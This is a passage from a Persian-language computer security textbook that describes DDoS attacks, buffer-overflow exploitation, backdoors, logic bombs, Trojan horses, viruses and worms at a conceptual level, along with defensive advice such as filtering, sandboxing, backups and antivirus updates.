بطور كلي تنها   . اندشدند، از كار افتاده     كاوش مي  Apache يا   IISپذيريهاي   آسيب آتش خانگي، و حتي مسيريابها، هنگاميکه بدنبال      

  .روز بودن سيستمها است و اطمينان از بهproxyراه مقابله با ترافيك بدشكل، استفاده از يك ديوارة آتش بعنوان 

  شدهتخريب سرويس توزيع

، مهاجم خدمات شبكه    DDoSدر يك حملة    .  هستند ٣١٨)هاDDoS(شده  تخريب سرويس توزيع   حملاتاي،  مضرترين حملات شبكه  
شدة مختلف در اينترنـت انجـام   فرستد، اما اينكار را از تعداد زيادي ميزبان توزيعكند يا سيلي از پيامها را به شبكه مي    را بارگذاري مي  

ها كار دشواري اسـت؛     ساز بسته  آتش غربال  آيند، مسدود كردن آنها با يك ديوارة      ها از تنها يك سيستم نمي     از آنجاكه بسته  . دهدمي
  .مگر اينكه ميزبانها را بكلي از اينترنت جدا كنيد

شـده  پـذيرد، كـه در ميزبانهـاي دسـتكاري        انجام مي )  يا تراوا  zombie (٣١٩هاي پيرو پردازه معمولاً از طريق يكسري      DDoSحملات  
حل كليدي براي جلوگيري از     يك راه . ليه يك مقصد مشخص بكار گيرد     تواند آنها را از راه دور در حمله ع        اند و مهاجم مي   نصب شده 

، محافظت از سيـستمها در      )هاي شما صورت پذيرد   اي از طريق رايانه   هاي شما انجام شود و يا حمله      چه اينكه حمله به رايانه     (DdoSوقوع حملات   
در سـطح شـبكه، گذاشـتن صـافي ورودي و       . ه نـشود   استفاد zombieبرابر دستكاري شدن است تا در حملات ديگر از آنها بعنوان            

هاي با آدرس مبدأ قلابي از شبكة محلي، جلوي دخيل شـدن ماشـينهاي داخلـي در حمـلات     خروجي براي جلوگيري از خروج بسته    
DDoS٣٢٠.گيرد را مي  

 بـا   ICMP٣٢١ هـاي پـژواك   بـسته  تنهـا بـا فرسـتادن        DDoSيك شكل حمـلات     . افزار خاصي ندارند   نياز به نرم   DDoSحملات  
ها به رايانـة قربـاني   گيرد، چراكه پاسخ مربوط به بسته  هاي متصل به اينترنت انجام مي     آدرسهاي مبدأ قلابي به تعداد زيادي از رايانه       

ماشـين  . شـود  ناموجود تـلاش مـي  IP از آدرسهاي  TCPدر روشي ديگر، تنها براي برقراري تعدادي اتصال         . شوند  برگشت داده مي  
رسي اين تلاشهاي برقراري اتصال بايد منابعي مصرف كند و اگر تعداد اين درخواستها از حد معيني بيشتر باشد، انجام               مقصد براي بر  

  .تواند ماشين را فلج كنداينكار مي

                                                                                                                                            
315  Daniel Bernstein 
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 IPاگر نـام ميزبـان يـا آدرس         .  غلبه كرد  DDoS ماشين مورد حمله، بر حملة       IPتوان با تغيير نام ميزبان و آدرس        بعضي مواقع مي  
هـايي  توان از ميزبان قرباني محافظت نمود و در اينصورت بـسته         افزار حمله قرار داده شده باشد، با تغيير آنها مي         قرباني درون كد نرم   

در  Blasterبعنـوان مثـال، كـرم       . شـوند  سازمان غربـال مـي     ISPشوند توسط مسيرياب خارجي يا      كه به آدرس قبلي فرستاده مي     
 Microsoft Windows را عليه آدرسي متعلق به سـرويس بـه روز رسـاني    DDoS تا يك حملة  طراحي شده بود٢٠٠٣آگوست 

روزرسـاني   پايگاه به  IPآغاز كند، اما چون اين آدرس در متن برنامه قرار داده شده بود، مايكروسافت بسادگي توانست با تغيير آدرس                    
Windows٣٢٢.، اين تهديد را رفع كند  

  برداري از راه دوربهره
شوند و چون بـسياري از آنهـا        دهندة شبكه براي ارتباط با كاربران غيرقابل اعتماد خارجي طراحي مي          هاي سرويس آنجا كه برنامه  از  

  . آوردبرداري از راه دور را بوجود ميآيند، وجود اشكال در آنها معمولاً امكان بهرهبا امتيازات اختصاصي به اجرا در مي

اين تكنيك متكي به روشـي اسـت كـه زبـان            . كنند كار مي  bufferز راه دور بر اساس تكنيك سرريزي        برداريهاي ا بسياري از بهره  
كـه بـراي     buffer بايت در يك     ١٠٠سيستم راه دور ممكن است بخواهد       . چيند طبق آن اطلاعات را در حافظه مي       Cنويسي  برنامه
شود و موجب   يافته به آن برنامه نوشته مي      اختصاص stackقطعة  درنتيجه اين اطلاعات روي     .  بايت گرفته شده ذخيره كند     ٤٠مثلاً  
  ٣٢٣.اجرا گردد) بالاترين سطح دسترسي(شود دستورات مورد نظر مهاجم با امتيازات دسترسي سيستمي مي

ي پـذيري برخ ـ  آسـيب . افزارهـاي شـبكه اسـت     برداري از راه دور، دقت در انتخاب و پيكربندي نرم         مهمترين روش جلوگيري از بهره    
اند و لذا مشكلات بـسيار كمتـري   افزارها مكرراً نشان داده شده است، اما برخي ديگر از ابتدا با در نظر گرفتن امنيت طراحي شده               نرم

  .ها بيشتر توضيح داده شده استدهندهاين روش تدافعي در فصل مربوط به امنيت سرويس. اندداشته

  ايتهديدات برنامه
دهند، مقاديري اين دستورالعملها معمولاً كارهاي مفيدي انجام مي    . اندرالعملها بصورت ترتيبي طراحي شده    ها براي اجراي دستو   رايانه

اما ايـن دسـتورالعملها     . كنندنمايند و با كاربران و ساير سيستمها ارتباط برقرار مي         اي را نگهداري مي   كنند، پايگاه داده  را محاسبه مي  
شايد ايـن   . گويند  مي" افزارياشكال نرم "اگر صدمة وارده اتفاقي باشد، به كد مربوطه         . خواهانه باشند توانند ذاتاً مخرب يا بد    گاهي مي 

اما اگر دستورالعملهاي مخرب از طرف شخصي باشد كـه منظـورش            . ها باشند اشكالات معمولترين دليل رفتارهاي غيرمنتظرة برنامه     
 ٣٢٤بـدافزار برخي افراد كلمة    . گويندمي" ايتهديد برنامه "يا  " برنامة بدخواهانه "ا  رخداد همان رفتار غيرمعمول بوده، به آن دستورالعمله       

  .برندافزارهايي بكار ميرا براي چنين نرم) افزار مخربنرم(

دهندة  اي مستقيم به يك سرويس    اي از طريق اينترنت بصورت پيامهاي پست الكترونيكي يا حمله         اين روزها بيشتر تهديدهاي برنامه    
دهنـدة وب شـما تـصادفاً    سـرويس يعنـي  (اي تصادفي تواند واقعه دريافت يك نامة الكترونيكي يا يك حملة مستقيم مي        . آينداي مي شبكه

حمـلات  . اي تصادفي شود و يا بالعكس     شده اشتباهاً تبديل به حمله    يا عمدي باشد، و ممكن است يك حملة هدايت        ) انتخاب شده باشد  
تر از حملات تصادفي هستند، چراكه يك مهاجم با انگيزه تا زمـاني كـه موفـق يـا متوقـف شـود بـه                         هكنندشده بسيار نگران  هدايت

  .حملاتش همچنان ادامه خواهد داد

                                                                                                                                            
تراوايـي كـه   (" trinoo"تحليلـي بـر    . صـورت گرفـت    Amazon و   Yahoo عليـه دو شـركت پرمـشتري         ۲۰۰۰در فوريـة     DDoSيكي از معروفترين حملات        ۳۲۲

zombieشوديافت ميروبرو در آدرس ) كردهاي دخيل در اين حمله را كنترل مي:  
http://www.sans.org/newlook/resources/IDFAQ/trinoo.htm 

تواننـد   كنند كـه بـه ايـن روش مـي    افزارهايي توليد ميجالب است كه توليدكنندگان هنوز هم نرم     . شناخته شده است  كاملاً   ساله دارد و     ۳۵اين شكل حمله عمري        ۳۲۳
  .برداري و سوء استفاده قرار گيرندبهره
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آنها ممكن است با نصب يـك  . اي براي انتقال ويروسها، كرمها و ساير تهديدها تبديل شوندممكن است كاربران به عوامل ناخواسته     
ممكن است يك محافظ نمايشگر اجرا كنند كه حاوي يك اسب تـراوا             . امة مخرب درون آنرا نيز نصب كنند      برنامة ناشناخته، يك برن   

امـا بـه هرحـال گـرفتن و اجـراي           . برنامة مخربي ندارند  شوند، هيچگونه قطعه  هايي كه از اينترنت گرفته مي     البته بيشتر برنامه  . باشد
هـا و   بنابراين بايد در دريافت متن برنامـه      . دهدهاي مخرب را افزايش مي    شدن برنامه قها از منابع نامعتبر، احتمال موف     روية برنامه  بي

افزارهـايي كـه    اداراتي که از حساسيت بالايي برخوردارند بايـد از اجـراي نـرم            . فايلهاي دستوري از منابع خارجي بسيار مراقب باشيد       
كند، ولي اگر مشكلي پيش     انجام اينكار لزوماً شما را محافظت نمي      . امضاي رمزشدة يك نويسندة مورد اعتماد را ندارند اجتناب كنند         

  .آيد كسي وجود خواهد داشت كه بتوانيد او را مسئول بدانيد

افزارهاي مـورد نيـاز، قبـل از         نكنيد، بلكه در مورد تمام نرم      downloadشده را   درصورت امكان هيچگاه فايلهاي اجرايي و كامپايل      
اگر در ايـن مرحلـه بـه    . بخوانيد و بفهميد ) درصورت وجود ( جديد را روي سيستم خود نصب كنيد، متن برنامه را            افزارياينكه بستة نرم  

افزاري مشكوك شديد از آن استفاده ننماييد، خصوصاً اگر براي به اجرا در آمدن به امتيازات خاص نياز دارد، و نكتـة آخـر اينكـه                          نرم
  .زار بگيريدافتنها از منابع مورد اعتماد خود نرم

گاهي اوقات شـركتهاي تجـاري، بـراي        . افزارهاي هر گروه يا شركت تجاري اعتماد كنيد       دليل نبايد به نرم   توجه داشته باشيد كه بي    
دهند؛ و برخـي  هاي خود دربهاي مخفي قرار ميشده، در متن برنامه بوجود آوردن امكان نگهداري و يا احياي رمزهاي عبور فراموش         

افزارهـايي  مند به خريد نرم   هرچند مشريان علاقه  . كنندافزار خود ابزار جاسوسي تعبيه مي       اوز به حريم خصوصي در نرم     ديگر براي تج  
اي كـه   پـذيري در برابـر برنامـه      شود، توليدكنندگان علاقة ناچيزي به مـسئوليت      هستند كه براي آنها خدمات پس از فروش ارائه مي         

كنيد بدنبال تـضمينهاي    خريد و روي رايانة خود نصب مي      هاي شخص ثالثي كه مي    ت براي برنامه  بنابراين بهتر اس  . فروشند دارند  مي
  .مكتوب باشيد

افزارهاي تجاري نيستند، هرچند اين مزيت را دارند كه متن برنامه براي خواندن در اختيـار شـما                  تر از نرم  افزارهاي آزاد هيچ ايمن   نرم
شـوند و    نـويس نوشـته مـي     شوند و توسط چندين برنامه    باز هنگام توليد به چند قسمت تقسيم مي       اكثر ابزارهاي آزاد و متن    . قرار دارد 

گيرنـد؛ و درنتيجـه يـك       هاي جديد اين قسمتها بدون نظارت دقيق ساير اعضاي گروه، مورد پذيرش آنـان قـرار مـي                  معمولاً نسخه 
علاوه بر آن حتي    . ينكه بقيه متوجه شوند به برنامه اضافه كند       برنامة كوچك مخرب را بدون ا     تواند يك قطعه  نويس بدخواه مي  برنامه

 افراد كمي اطـلاع     -اگر متن برنامه مورد بررسي قرار گيرد، ممكن است برخي دربهاي مخفي و عملكردهاي ظريف آن ديده نشوند                   
ند به درك همة اجزاي برنامـه نباشـد ممكـن    م افزار را بازبيني كرد و اگر فرد بازبين واقعاً علاقه توان به دقت نرم     دارند كه چگونه مي   

حتي يك بازبيني مستقل نيز ممكن است كافي نباشد؛ چراکه بازبينها ممکن است تخصص اينکار را                . است مورد مشكوكي پيدا نكند    
  !باشدنداشته باشند، اشتباه كنند، و يا حتي اين امکان وجود دارد که ميان بازبين و نويسندة برنامه، تباني وجود داشته 

عـلاوه بـر    . توان به يك روش معين همة آنها را خواند        شده آنقدر بزرگ هستند كه نمي     downloadهاي  متأسفانه بسياري از برنامه   
ترجمه را بـراي  هاي پيشبرنامه هستند، اما بسياري از کاربران قطعهdownloadباز قابل هاي زيادي بصورت متن   اين هرچند برنامه  

download  اند از روي همان مـتن برنامـة       هيچ راهي براي اطمينان از اينكه اين فايلها كه به زبان ماشين درآمده            . كنند انتخاب مي
  .اند يا نه وجود نداردمورد ادعا توليد شده

 ايـن روش    .انـد هايي استفاده كنيد كه پيشتر ديگران به آنها اعتمـاد كـرده           توانيد از برنامه  بعنوان يك راه جايگزين براي بازبيني، مي      
افتد ولي براي شما اتفاق بيافتـد؛ يـا   چندان مطمئن نيست، چون ممكن است برنامه داراي تهديدي باشد كه براي ديگران اتفاق نمي   

  .حتي تهديد براي افراد زيادي اتفاق بيافتد، ولي كسي متوجه آن نشود

يابيد  با اينكار فرصت مي. اس نصب و آزمايش شوند   افزارهاي جديد بايد ابتدا روي سيستمهاي غيرحس      طبق يك سياست مناسب، نرم    
افزار جديد را ابتدا روي يك سيـستم توليـد پويـا            يك نرم . مشكلات، ناسازگاريها و رفتارهاي غيرعادي يك برنامه را تشخيص دهيد         

مگر اينكه واقعـاً چـارة ديگـري        نصب نكنيد، و به هيچوجه آنرا براي بار اول با دسترسي ابركاربر يا راهبر سيستم به اجرا در نياوريد،                    
  .نداشته باشيد
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تواند با استفاده از ابزارهاي مختلف دربهاي مخفي،        اگر شخصي با دانش كافي در داخل سازمان شما قصد خرابكاري داشته باشد مي             
 تهديد بزرگي براي كاربران و كارمندان شما. ، و اسبهاي تراوا بنويسد و آنرا مستقيماً روي سيستم هدف نصب كند     ٣٢٥بمبهاي منطقي 

شناسند، و با سيستمهاي كنترل و بـازبيني موجـود          اين افراد با سيستم آشنا هستند، نقاط ضعف آنرا مي         : باشندامنيت سيستم شما مي   
شـايد بـه    . هاي مخرب به سيستم از دسترسي كافي برخوردارند       كاربران مجاز معمولاً براي نوشتن و وارد كردن برنامه        . آشنايي دارند 

دار بيايد كه گفته شود در بسياري از سازمانها، شخص مسئول كنترل و بازبيني امنيت همان کسي است كـه اگـر بخواهـد                        ر خنده نظ
براي مديران ارشد سيستم نيز معمولاً هيچگونه مميـزي  . تواند با اجراي چند دستور، بيشترين خسارتها را به كل سيستم وارد كند            مي

  .گيردم نمييا ساير انواع بررسيها انجا

  ابزارهاي امنيتيابزارها و جعبه

هـا  بعضي از ايـن برنامـه  . پذيريهاي امنيتي رايانه را مشخص سازند   توانند بطور خودكار آسيب   اند كه مي  هاي زيادي نوشته شده   برنامه
 شـبكه بـدنبال     كننـد، و برخـي ديگـر در يـك         پـذيريهاي سيـستمي كـاوش مـي       اي كه روي آن اجرا شوند را بـدنبال آسـيب           رايانه
 و يا بطـور  ٣٢٦پويشگرهاي امنيتيها گاه به اين برنامه. برداري قرار گيرندتوانند مورد بهرهگردند كه از راه دور ميپذيريهايي مي   آسيب
  .گويندمي "ابزارهاي امنيتي"تر كلي

ها كردن رايانهتوانند از آنها با هدف امناي مياز يك طرف افراد حرفه. پويشگرها و ساير ابزارهاي امنيتي مثل شمشير دو لبه هستند        
اگر راهبران بتوانند بـا ايـن ابزارهـا    . توانند اين ابزارها را براي نفوذ به سيستمها بكار برند      استفاده كنند؛ و از طرف ديگر نفوذگرها مي       

تواننـد بـا    دست خواهنـد آورد كـه مـي   پذيريها بشده پويش كنند، فهرستي از آسيب     پذيريهاي شناخته سريعاً سيستمها را بدنبال آسيب    
برطرف كردن آنها سطح امنيت سيستم را ارتقا دهند، اما همين ابزارها به تبهكاران شخصي يا سازماني نيـز راههـاي ممكـن بـراي                         

  .دهندنفوذ به سيستمها را نشان مي

اما ابزارهـاي   . توانند از آنها استفاده كنند    يز مي اند، هرچند مهاجمان ن   اي امنيت نوشته شده   برخي ابزارهاي امنيتي براي راهبران حرفه     
جالـب اينجاسـت كـه كيفيـت بعـضي از ايـن             . انـد بيشتري در اينترنت وجود دارند كه منحصراً براي كاربردهاي مخرب بوجود آمده           

 مثـالي از    nmapابزار  . كننداي نيز براي تأمين امنيت از آنها استفاده مي        ابزارهاي مخرب بسيار بالاست؛ آنقدر بالا كه راهبران حرفه        
اكنون بطور وسـيعي مـورد اسـتفادة راهبـران          شده و هم  اي نوشته اي براي نگاشت شبكه   اين ابزارهاست كه در جوامع مجرمانة رايانه      

  .ها قرار دارداي امنيت شبكهحرفه

سيستمهاي خود باشـيد و مرتبـاً بـر آنهـا       پذيريهاي  بدليل در دسترس بودن ابزارهاي امنيتي با كيفيت براي حمله، بايد مراقب آسيب            
اينكه خودتان اين ابزارها را بدست آورده و اجرا كنيد از مزايايي برخوردار است، ولي خطراتي نيـز در                   . نظارت و از آنها محافظت كنيد     

. تم صـدمه وارد كننـد     اند و ممكن است بـه سيـس       برخي ابزارها با ملاحظات راهبري امنيت و قابل انتقال بودن نوشته نشده           . پي دارد 
كنيـد درحـال جـستجو      اي باشند براي خرابكاري مخفيانه در سيستم، درحاليكه شما فكـر مـي            برخي ابزارهاي ديگر ممكن است تله     

تواننـد بـه    كنند و چگونه مـي در اجراي پويشگرهاي امنيتي عجله نكنيد، مگر اينكه دقيقاً بدانيد آنها چه مي  . بدنبال مشكلات هستيد  
  . ايمن كردن سيستمها كمك نمايندشما در 

  هادربهاي مخفي و تله

شـوند و بـه   عاملهـا قـرار داده مـي   ها يا سيـستم هايي هستند كه درون برنامهبرنامهگويند، قطعهدربهاي مخفي كه به آنها تله نيز مي      
دربهاي مخفـي و  . ها دسترسي پيدا كندهدهند بدون انجام مراحل لازم براي تصديق هويت، به قابليتهاي برنام        نويس اجازه مي  برنامه
نويـسند  اي كـه مـي    زدايي يا نظارت بر برنامـه     نويسها و براي اشكال   ها سالهاي زيادي است كه وجود دارند و عموماً توسط برنامه          تله

  .آيند بوجود مي

                                                                                                                                            
325  Logic Bombs 
326  Security Scanners 
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ني براي تصديق هويت يا ورود اطلاعـات        شوند كه هنگام اجرا نياز به روالهايي طولا       هايي قرار داده مي   اكثر دربهاي مخفي در برنامه    
نويس بخواهـد از دسترسـيهاي خاصـي برخـوردار باشـد، يـا       زدايي برنامه، ممكن است برنامه   در زمان اشكال  . زياد توسط كاربر دارند   

ديق علاوه بر اينها ممكن است درصورت كار نكـردن روالهـاي تـص            . مراحل طولاني تصديق هويت يا ورود اطلاعات را انجام ندهد         
اي اسـت  درب مخفـي برنامـه  . نويس بخواهد از طريق خود برنامه روشي براي فعال كردن برنامه در اختيار داشته باشد        هويت، برنامه 

  .كند شود و دسترسيهاي مورد نظر را اعطا ميكه يا بر اثر ورود يك رشتة خاص و يا اجرا تحت يك نام كاربري خاص، فعال مي

. نويسان نااهل براي بدست آوردن دسترسـي غيرمجـاز بكـار گرفتـه شـوند              شوند كه توسط برنامه   ميدربهاي مخفي وقتي خطرناك     
نويس اوليه پس از تكميل برنامه فراموش كند دربهاي مخفي را حذف كند و شخص ديگري پي بـه وجـود آنهـا    همچنين اگر برنامه  

آميز به سيستم، يك درب مخفي در آن ايجاد         نفوذ موفقيت گاهي نيز يك مهاجم پس از       . شوندببرد اين دربهاي مخفي مشكلساز مي     
  .كند تا بعداً بتواند دوباره به سيستم وارد شده و امتيازات راهبري را بدست آوردمي

بهترين دفاع اين است كه يکپارچگي و صحت فايلهاي مهـم را مرتبـاً بررسـي                . محافظت در برابر دربهاي مخفي بسيار دشوار است       
 بگرديـد و متناوبـاً مجوزهـا و         TCP/IP بررسي فايلها، بايد در سيستم خود به دنبال فايلهاي امتيازدار و پورتهاي باز               علاوه بر . كنيد

افزارهاي مخـرب را     ها و عملكردهاي نرم   توان براحتي نشانه  متأسفانه امروزه مي  . هاي مهم را نيز بررسي كنيد     مالكيت فايلها و شاخه   
رنتيجه اگر اجازه دهيد سيستم شما دستكاري شود، ممكن است ديگر هرگـز نتوانيـد متوجـه تغييـرات     د. با ظرافت زيادي پنهان كرد   

  .بوجودآمده شويد

  )شدهتخريبهاي زمانبندي(بمبهاي منطقي 

مانند، و زماني كـه     افزارهاي معمولي پنهان مي   زمان طولاني در نرم   اي هستند كه براي مدت    شدهبمبهاي منطقي تهديدات زمانبندي   
بمبهـاي منطقـي معمـولاً در       . داده اسـت  دهند كه متفاوت از كاري است كه برنامة ميزبان آنها انجام مي           فعال شوند كاري انجام مي    

  .شوند كه از دسترسي قانوني به سيستم برخوردارندنويساني پيدا ميهاي برنامهبرنامه

روز مشخص از هفته، و يا به اجـرا درآمـدن توسـط يـك      تواند وجود يك فايل بخصوص، يك       شدن بمبهاي منطقي مي   شرايط فعال 
هـايي در حـال اجـرا       بمب منطقي ممكن است ابتدا بررسي كند چه كساني در سيستم حضور دارند يا چـه برنامـه                 . كاربر خاص باشد  

اندازد، يـا صـدمات     ها را تغيير دهد يا از بين ببرد، سيستم را از كار بي            شدن ممكن است داده   يك بمب منطقي درصورت فعال    . هستند
شدن يك بمب منطقي حالتي است كه يك شمارة مـشخصِ كارمنـدي             يك مثال كلاسيك براي فعال    . ديگري به سيستم وارد آورد    

  ).يعني وقتيكه كارمند شركت را ترك كرده است(شود براي دو دورة متوالي در محاسبات حقوق ظاهر نمي

باشد كه گاهي براي اجبار پرداخت پول يا انجام ساير مفاد يك قرارداد              منطقي مي  نوع خاصي از عملكرد بمبهاي    " اتمام زمان حيات  "
اتمام زمان حيات به اين معني است كه پس از يك مدت زمان مشخص، اگر عمل خاصي مانند پرداخت هزينـة         . شودبكار گرفته مي  

شـود كـه در مرحلـة       افزارهايي كار گذاشته مـي     در نرم  اتمام زمان حيات معمولاً   . گردديك گواهي انجام نشود، برنامه ديگر اجرا نمي       
هاي جديدتر ارتقا دهنـد يـا يـك        افزارهاي آزمايشي خود را به نسخه     آزمون نهايي براي توزيع در بازار مصرف هستند؛ تا كاربران نرم          

  .نسخة رسمي خريداري نمايند

. افزاري را بدون خواندن و تـست كامـل نـصب نكنيـد            منر: محافظت در برابر بمبهاي منطقي مخرب نيز مشابه دربهاي مخفي است          
  .هاي خود را بازگردانيدبطور منظم پشتيبان تهيه كنيد تا درصورت بروز هر اتفاق ناگوار، بتوانيد داده

  اسبهاي تراوا

از آنهـا اسـتفاده     هـايي كـه كـاربر       هايي هستند شبيه برنامـه     برنامه - همانطور كه از نامشان پيداست       -اسبهاي تراواي دنياي مدرن     
درحاليكـه برنامـه در ظـاهر كـار مـورد نظـر كـاربر را انجـام         . كند؛ مثل يك پردازة ورود به سيستم، يك بازي، يا يك ويرايشگر         مي
مثلاً ممكن است كاربر گمان كند كه يـك بـازي           . پردازدشده نيز مي  دهد، بدون اطلاع كاربر به كار ديگري برخلاف هدف اعلام          مي
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خواهيـد  در چه سـطحي از سـختي مـي   "يا " دوست داريد چه نامي روي بازيكن بگذاريد؟"ست و برنامه نيز سؤالاتي مانند اجرا كرده ا 
اي را بـه يـك   بندي مجدد يك ديسك باشد، و يا اسناد محرمانه   كردن فايلها و قالب   از وي بپرسد، اما عملاً درحال پاك      " بازي كنيد؟ 

افزارهاي مخـرب معمـولاً بـا       اين نرم . تأسفانه اسبهاي تراوا در بعضي محيطها بسيار زياد هستند        م. پايگاه وب در آنسوي دنيا بفرستد     
شده ميان كـاربران توزيـع      اشتراك گذاشته افزارهاي به شوند و بعنوان نرم   هاي مختلف در پايگاههاي وب نفوذگران قرار داده مي        حقه
  . گردندمي

، فايلهـاي   )sharبخـصوص فايلهـاي     (برخي از فايلهاي پوسته     . اندكننده نيز ديده شده   هاي نصب برنامهها و قطعه  اسبهاي تراوا در برنامه   
VBS  ، فايلهايawk ، فايلهايperlهـاي  برنامـه ، قطعهsed  فايلهـاي ،TeX  فايلهـاي ،PostScript هـاي بـا رمزگـذاري    ، نامـه

MIME     حتـي فايلهـاي متنـي نيـز     . اي ايجـاد نماينـد  خواستهتوانند حاوي دستوراتي باشند كه مشكلات نا ، و صفحات وب، همه مي
انـدازي  بعضي ويرايشگرها اين امكان را دارند كه در چند خط ابتدايي يا انتهايي فايل، دستوراتي بـراي راه                 . توانند خطرناك باشند   مي

گي به مستندات ويرايشگر مـورد اسـتفادة خـود    براي اطلاع از روش غيرفعال كردن اين ويژ. (خودكار ويرايشگر در فايلهاي مربوط به آن قرار دهند       
  ).رجوع كنيد

نماييد، بهتر است اينكار را روي يك ماشـين مجـزا در            كنيد يا فايلهايي را غيرفشرده مي     اي را اجرا مي   برنامهاگر براي اولين بار قطعه    
هـاي خـارج از محـيط كـاري         يلها و شـاخه   افزاري را به فا   قرنطينه يا در محيطي محدود انجام دهيد تا جلوي دسترسي آن بستة نرم            

  ). انجام پذير است()chroot اين كار با دستور سيستميِ Unixدر (خودش بگيريد 

هـاي سـريال محـصول       در پايانـه   ٣٢٨حالات بـازگو   يا   ٣٢٧ارسال بلوكي  دستورگيري از   تواند با بهره  شكل ديگري از اسبهاي تراوا مي     
كـار  ) انـد سازي شـده   محصول مايكروسافت شبيه   HyperTerminalساز پايانه از جمله     هاي شبيه  برنامه كه توسط بسياري از    (١٩٨٠ و   ١٩٧٠هاي    دهه
تواند باعث شـود كـه يـك    ها تنظيماتي دارند كه طبق آنها يك رشته كاراكترهاي خاص كنترلي مي   هاي پايانه بسياري از گونه  . كنند

بنابراين يك دسـتور كـه درون       . كليد وارد شده است    دستور با استفاده از صفحه     دستور از راه دور به اجرا در آيد؛ آنچنان كه گويي آن           
بـه  " پاك كردن همـة فايلهـا و خـروج از سيـستم           "يك نامة الكترونيكي قرار دارد ممكن است باعث شود پايانه يك فرمان مبني بر               

اين ويژگي را در پايانه يا برنامـة        .  ارسال كند  نيز براي خود پايانه   " پاك كردن صفحه  "عامل بفرستد، و سپس يك رشته براي        سيستم
  .ساز خود غيرفعال كنيدشبيه

  ويروسها

درنتيجه هرگـاه برنامـة عـادي اجـرا شـود، برنامـة       . شودهاي اجرايي اضافه مي اي است كه به ساير برنامه     يك ويروس واقعي برنامه   
ويروسـها  . گرددسخه از خودش در يك يا چند برنامة ديگر مي         برنامة ويروس باعث اضافه شدن يك ن      . آيدويروس نيز به اجرا در مي     

توانند به تنهايي اجرا شوند، بلكه براي اجرا نياز بـه يـك ميزبـان دارنـد تـا بعنـوان                 يعني نمي  -هاي مستقلي باشند    توانند برنامه نمي
  .بخشي از آن به اجرا در آيند

را ) Apple MacOS و MS DOS ،Microsoft Windowsماننـد  (املهاي پركاربرد عهاي شخصي داراي سيستمتقريباً تمام ويروسها، رايانه
هاي قبـل از     نسخه MacOS و   DOSمانند  (عاملهايي كه مكانيزمهاي امنيتي كمي دارند       توانند در سيستم  ويروسها مي . دهندهدف قرار مي  

. انتـشار يابنـد  ) Windows XP و Windows NTمثـل  (رنـد  اي برخورداو همچنين آنهايي كه از مكانيزمهاي امنيتي پيشرفته) ١٠ويرايش 
تواننـد هـم سيـستمهاي      انـد كـه مـي     حتـي ويروسـهايي نوشـته شـده       .  هم ويروسهايي نوشته شـده اسـت       Unixبراي سيستمهاي   

Windows و هم سيستمهاي مبتني بر Unixويروسهايي كه .  را آلوده سازندboot sectorاننـد  كنند، درصورتيكه بتو را آلوده مي
 آلـوده   Windows را نيز براحتيِ سيستمهاي      Linux يا   BSDتوانند سيستمهاي مبتني بر     اندازي را آلوده كنند، مي    يك ديسكت راه  

  ).تواند بيش از آن گسترش يابدهرچند اين آلودگي نمي(نمايند 
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شود از راههاي ديگر نيز قابـل انجـام         هرچند هر كاري كه توسط ويروس انجام مي       . ويروسها ابزار قدرتمندي براي مهاجمان هستند     
توانند به مناطقي دسترسي پيدا كنند كـه مهـاجم      است، ولي ويروسها قادرند بدون دخالت يا هدايت مهاجم گسترش يابند و حتي مي             

  .تواند به آنها دسترسي داشته باشد شخصاً نمي

در . هـاي رمزشـكن اسـتفاده كنيـد    بهـاي مخفـي و برنامـه   توانيد از همـان فنـون مقابلـه بـا در    براي محافظت در برابر ويروسها مي    
افزارهـاي ضـدويروس    درحال حاضر نرم  . اندازي نماييد  نبايد سيستم را با استفاده از ديسكهاي غير قابل اعتماد راه           Intelسيستمهاي  

اي فاقـد ضـدويروس بـيش از    ه ـشوند، اما با اين وجود تعـداد رايانـه  هاي خانگي و شركتها محسوب مي     يك نياز اساسي براي رايانه    
افـزار  باشد اين است كـه بـسياري از كـسانيكه نـرم           كننده مي مسئله ديگري كه به همين اندازه نگران      . هاي مجهز به آن است    رايانه

 ـ      نمايند، و عمـلاً كـارايي نـرم       روزرساني نمي كنند، نشانهاي ويروس آنرا هر از چندگاه به       ضدويروس تهيه مي   ل افـزار خـود را در مقاب
  .رسانندتهديدات جديد به حداقل مي

  كرمها

توانند بطور مستقل اجرا شوند و با استفاده از اتصالات شبكه از يك رايانه به يك رايانة ديگر منتقل                   هايي هستند كه مي   كرمها برنامه 
دهنـد،  ها را تغيير نمـي    امهكرمها ساير برن  . هاي متفاوتي اجرا شوند   شوند؛ يا حتي ممكن است قسمتهاي مختلف يك كرم روي رايانه          

عاملهـاي   اي بـراي سيـستم    صـدها كـرم شـبكه     ). مثل يك ويروس  (اي باشند كه اينكار را انجام دهد        هرچند ممكن است حاوي برنامه    
 اين كرمها معمولاً آدرسهاي   . شوندشايد بتوان گفت كه شايعترين كرمها از طريق نامة الكترونيكي منتشر مي           . اندمختلف بوجود آمده  

يا حتي  (آورند و خود را بعنوان پيام مهمي از طرف صاحب سيستم آلوده             پستي ديگران را از دفترچة آدرسهاي سيستم آلوده بدست مي         
  .فرستندبه آنها مي) از طرف ساير افرادي كه نامشان در دفترچة آدرسهاي صاحب سيستم آلوده وجود دارد

. توانـد اگر مهاجم بتواند به ماشين شما وارد شود، يك كرم هم مي           . ه با نفوذ است   محافظت در برابر كرمها مستلزم همان فنون مقابل       
هـايي كـه در مـورد    تمام توصيه. اگر رايانة شما در برابر دسترسي غيرمجاز ايمن باشد، طبيعتاً در برابر كرمها نيز امنيت خواهد داشت              

  .ندجلوگيري از دسترسي غيرمجاز ارائه شد اينجا نيز قابل اعمال هست

 تماس بگيريـد و     ٣٢٩ايمراكز واكنش به رخدادهاي رايانه    ايد، با   اي مورد حمله قرار گرفته    اگر ترديد داشتيد كه توسط يك كرم شبكه       
توانيد از اين طريق اطلاعات مفيدي براي محافظت        درصورت وقوع حادثه مي   . اند يا خير  ببينيد آيا ديگران نيز گزارشات مشابهي داده      

اگـر واقعـاً كرمـي بـه        . اتصال اينترنت شبكة خود را قطع كنيد تا شبكة محلي شما ايزوله شـود             . تم خود بدست آوريد   يا بازيابي سيس  
ايد و همچنين جلوي ارسال اطلاعـات مهـم بـه           سيستمهاي شما رخنه كرده باشد، با اينكار در جلوگيري از گسترش آن كمك كرده             

سازي كرده باشيد، خسارتهاي وارده بـه   گيري و ساير تدابير امنيتي را بخوبي پياده       باناگر پشتي . ايدخارج از شبكة محلي خود را گرفته      
  .شما بايد ناچيز باشد

  تهديدات چندوجهي

